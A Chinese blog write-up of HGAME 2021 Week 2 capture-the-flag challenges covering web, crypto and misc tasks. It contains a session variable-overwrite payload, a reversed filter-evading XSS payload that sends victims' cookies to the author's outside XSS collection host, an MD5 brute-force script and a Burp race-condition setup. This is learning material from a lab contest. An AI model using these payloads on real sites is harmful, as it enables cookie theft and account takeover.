Hgame Week2 Writeup

本文最后更新于:2021年2月21日 晚上

摘要
菜鸡视角 hgame 游戏体验

WEB

第一题

image-20210213233809239

首先,/www.zip 存在源码泄露。

image-20210214002402253
1
2
3
4
5
6
7
8
9
10
11
//config.ini
[global]
debug = true

[admin]
username = admin
pass_md5 = b02d455009d3cf71951ba28058b2e615

[testuser]
username = testuser
pass_md5 = 0e114902927253523756713132279690

通过阅读源码了解到,需要以 admin 账户登录才能获得 flag。 但是很显然我们只能利用 php比较漏洞 来登录 testuser 账户,但是这样显然无法得到 flag。

image-20210214003013130

但是 admin 被加密的 MD5 尝试了很多办法也无法解码。这时候得利用 变量覆盖 将$_SESSION['username']的值变为 admin

lazy.php存在一段过滤代码,会将请求中所有键名进行过滤,但是只过滤了一遍,这里造成了漏洞。

我们可以构造 payload :

1
_SESSSESSIONION[username]=admin&submit=getflag

POST 发送数据即可得到flag

Snipaste_2021-02-10_23-11-28

第二题

这题很明显是考的 XSS,为此煞费苦心自己搭建了一个 XSS 平台,用的是莲花战队的源码

image-20210214004200890

题目图下:

image-20210214004232187 image-20210214004302463

网页逻辑:第一个文本框中输入信息,点击 Post it 后会显示在下面的留言区;第二个输入框输入验证码,点击提交后,服务器会自动浏览你的留言。但是我们必须有管理员的 token 才能点击左上角的 flag 获得 flag。所以我们要做的:

  • 写一段 xss代码 能够截取浏览者cookies 并发送到 xss平台

  • 爆破一个字符串,使得这个字符串经过 MD5 加密后的前六位与验证码提示框中给出的验证码相同

  • 等待服务器读取留言,xss 平台会收到来自 admin 的 token

  • 使用管理员的 token 点击 flag 获取答案

这个网站的 XSS 过滤原则很有趣,scriptdiv,遇到http ptth直接删除,遇到onerror转换成rorreon并将所有字符串反转,遇到rorreon转换成onerror并将所有字符串反转

经过精致打磨,写出了 xss 代码如下:

>vid<>";)()};))()}}''nruter{)e(hctac}'':ferh.noitacol.renepo.wodniw?)ferh.noitacol.renepo.wodniw&&renepo.wodniw(nruter{yrt{)(noitcnuf((epacse+'=renepo&'+))()}}''nruter{)e(hctac}eikooc.tnemucod nruter{yrt{)(noitcnuf((epacse+'=eikooc&'+))()}}''nruter{)e(hctac}ferh.noitacol.pot nruter{yrt{)(noitcnuf((epacse+'=noitacolpot&'+))()}}''nruter{)e(hctac}ferh.noitacol.tnemucod nruter{yrt{)(noitcnuf((epacse+'=noitacol&1=noissespeek?/'+etisbew=crs.))(egamI wen({)(noitcnuf(;'php.xedni/moc.sduolcjm.ssx//:s'+b+a=etisbew rav ;'ptt'=b rav ;'h'=a rav"=rorreon x=crs gmi<>vid/<

提交后不一会,我的 XSS 收到了我自己的 cookies。

image-20210214005616882 image-20210214005642043

说明 XSS成果,下一步是要破解那个验证码。无从下手,于是写了个 Python 爆破,就测试五位数字看看,跑不出那就删除 cookie 刷新页面,重发脚本,使用新的验证码,总有能成功的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib
import random


def encryption(chars):
return hashlib.md5(chars.encode('utf-8')).hexdigest()


def generate():
return str(random.randint(99999, 1000000))


def main():
start = "313094"
while True:
strs = generate()
print("Test", strs)
if encryption(strs).startswith(start):
print("yes!")
print("[+] %s " % strs + "%s " % encryption(strs))
break
else:
print("no!")


if __name__ == '__main__':
main()
print('完成!')

当时我成功了:

image-20210214010845706

提交!随后 XSS 平台就收到了管理员的token :

image-20210214011009047

修改 token 得到 flag !

第四题

image-20210214011918728

先注册账号,这里不吐槽了,简单的用户名已经都被注册了….

image-20210214012043621

很明显,差两张券,这里运用条件竞争,方便点用 Burp,低线程兑换券,一次兑换一张,高线程兑换非法数量的券,我使用数量 0 ,设置如下(左侧100线程,右侧50线程):

1 2 3

Attack!

不一会就有结果了:

FLAG

flag GET!

Crypto

第三题

image-20210214012915596

很 esay 直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import libnum
from Crypto.Util.number import long_to_bytes

c = 747831491353896780365654517748216624798517769637260742155527
n = 882564595536224140639625987659416029426239230804614613279163
# n = int("",16)
e = 65537
# e = int("",16)
q = 1029224947942998075080348647219
p = 857504083339712752489993810777

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n) # m 的十进制形式
string = long_to_bytes(m) # m明文
print(string) # 结果为 b‘ m ’ 的形式
image-20210214013020479

FLAG get!

MISC

第四题

image-20210214013140398

pcapng 文件,使用 Wireshark 打开,迅速锁定一个奇怪网址:

Snipaste_2021-02-14_01-33-27

去 cf.hgame2021.cf 看看,发现有连续不断的弹窗。

Snipaste_2021-02-14_01-35-06

那我们禁用 js

Snipaste_2021-02-14_01-35-29

获得线索,flag 果然不在这 ….

既然说到 SPF 那我们就查看一下 SPF记录吧。

Snipaste_2021-02-14_01-37-01

然后 flag 就出来了?

总结

自己好菜


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!